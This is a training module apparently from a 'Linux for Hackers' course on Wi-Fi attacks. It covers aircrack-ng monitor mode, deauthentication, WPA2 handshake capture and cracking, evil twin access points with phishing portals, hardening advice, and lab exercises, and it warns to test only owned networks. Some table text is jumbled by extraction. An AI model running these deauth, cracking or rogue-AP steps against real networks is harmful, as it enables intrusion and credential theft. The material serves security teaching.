■ LINUX FOR HACKERS
Wireless Network Hacking
MODULE 9 · Wi-Fi SECURITY & ATTACKS
The Wireless Attack Surface
Wi-Fi is everywhere — and it's one of the most overlooked attack surfaces. A misconfigured
home router, a weak WPA2 password, or an evil twin access point can hand an attacker full
network access without ever touching a cable.
■■ Only test wireless networks you own or have written permission to audit. Intercepting
third-party Wi-Fi is illegal in every jurisdiction.
Wireless Security Standards
Standard Status Notes
WEP BROKEN Crackable in minutes — never use
WPA WEAK TKIP cipher has known vulnerabilities
WPA2-Personal COMMON PSK — vulnerable to offline dictionary attacks
WPA2-Enterprise GOOD 802.1X + RADIUS — much harder to crack
WPA3 BEST SAE handshake — highly resistant to offline attacks
WPS AVOID PIN brute-force via Reaver; often enabled by default
Monitor Mode & the Aircrack-ng Suite
Monitor mode allows your wireless card to capture ALL nearby Wi-Fi traffic, not just frames
addressed to you. Most USB adapters with the Atheros or Ralink chipset support it. The
aircrack-ng suite is the standard toolkit.
Command Purpose
iwconfig List wireless interfaces
airmon-ng start wlan0 Enable monitor mode → creates wlan0mon
airmon-ng check kill Kill processes that interfere with monitor mode
airodump-ng wlan0mon Scan for all nearby networks and clients
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF
Capture-w
traffic
capture
onwlan0mon
channel 6 from target AP
Linux for Hackers · Page 1 Hack ethically — always get permission!
aireplay-ng -0 5 -a BSSID -c CLIENT Deauth
wlan0mon
attack — force client to reconnect
aircrack-ng [Link] -w [Link]
Crack WPA2 handshake with wordlist
airmon-ng stop wlan0mon Return to managed mode
Capturing a WPA2 Handshake
The 4-way WPA2 handshake is exchanged when a client connects. If you capture it, you can
crack the pre-shared key offline.
1. Enable monitor mode → airmon-ng start wlan0
2. Find target network → airodump-ng wlan0mon — note BSSID and channel
3. Start targeted capture → airodump-ng -c CH --bssid BSSID -w out wlan0mon
4. Force a reconnect → aireplay-ng -0 3 -a BSSID wlan0mon
5. Wait for handshake → Top-right of airodump shows 'WPA handshake: BSSID'
6. Crack offline → aircrack-ng [Link] -w /usr/share/wordlists/[Link]
Faster cracking: convert cap to hccapx and use hashcat -m 22000 for GPU acceleration.
Evil Twin / Rogue AP Attack
An evil twin mimics a legitimate access point. Clients connect to it and you can perform
man-in-the-middle attacks, capture credentials, and serve phishing pages.
Tool Purpose
hostapd-wpe Create a rogue WPA2-Enterprise AP to capture credentials
airbase-ng Create a fake open AP
bettercap All-in-one: fake AP, MITM, sslstrip, DNS spoofing
dnsmasq Provide DHCP and DNS to clients connected to fake AP
nginx/apache Serve a phishing captive portal to victims
Hardening Wi-Fi — Defender Perspective
Use WPA3 or WPA2-Enterprise with RADIUS — never WEP or WPS
Passwords: 20+ random characters — defeats dictionary attacks
Disable SSID broadcast only delays attackers — not a real control
Enable client isolation — prevent device-to-device communication
Monitor for deauth floods with a wireless IDS (e.g. Kismet)
Segment IoT devices onto a separate VLAN with firewall rules
Lab Exercises
Use your own home router or a dedicated lab router — never target others.
Linux for Hackers · Page 2 Hack ethically — always get permission!
Lab 1: Enable monitor mode on your wireless adapter. Use airodump-ng to list all nearby
networks and record their security type.
Lab 2: Set up a WPA2 access point with a weak password (e.g. 'password123'). Capture the
handshake after a deauth, then crack it with aircrack-ng and [Link].
Lab 3: Use hashcat -m 22000 on the captured handshake. Compare cracking speed to
aircrack-ng.
Lab 4: Use bettercap to perform an ARP spoofing attack between two of your own VMs and
capture HTTP credentials.
Lab 5: Research your home router: find its default credentials, check if WPS is enabled,
identify the firmware version and any known CVEs.
Linux for Hackers · Page 3 Hack ethically — always get permission!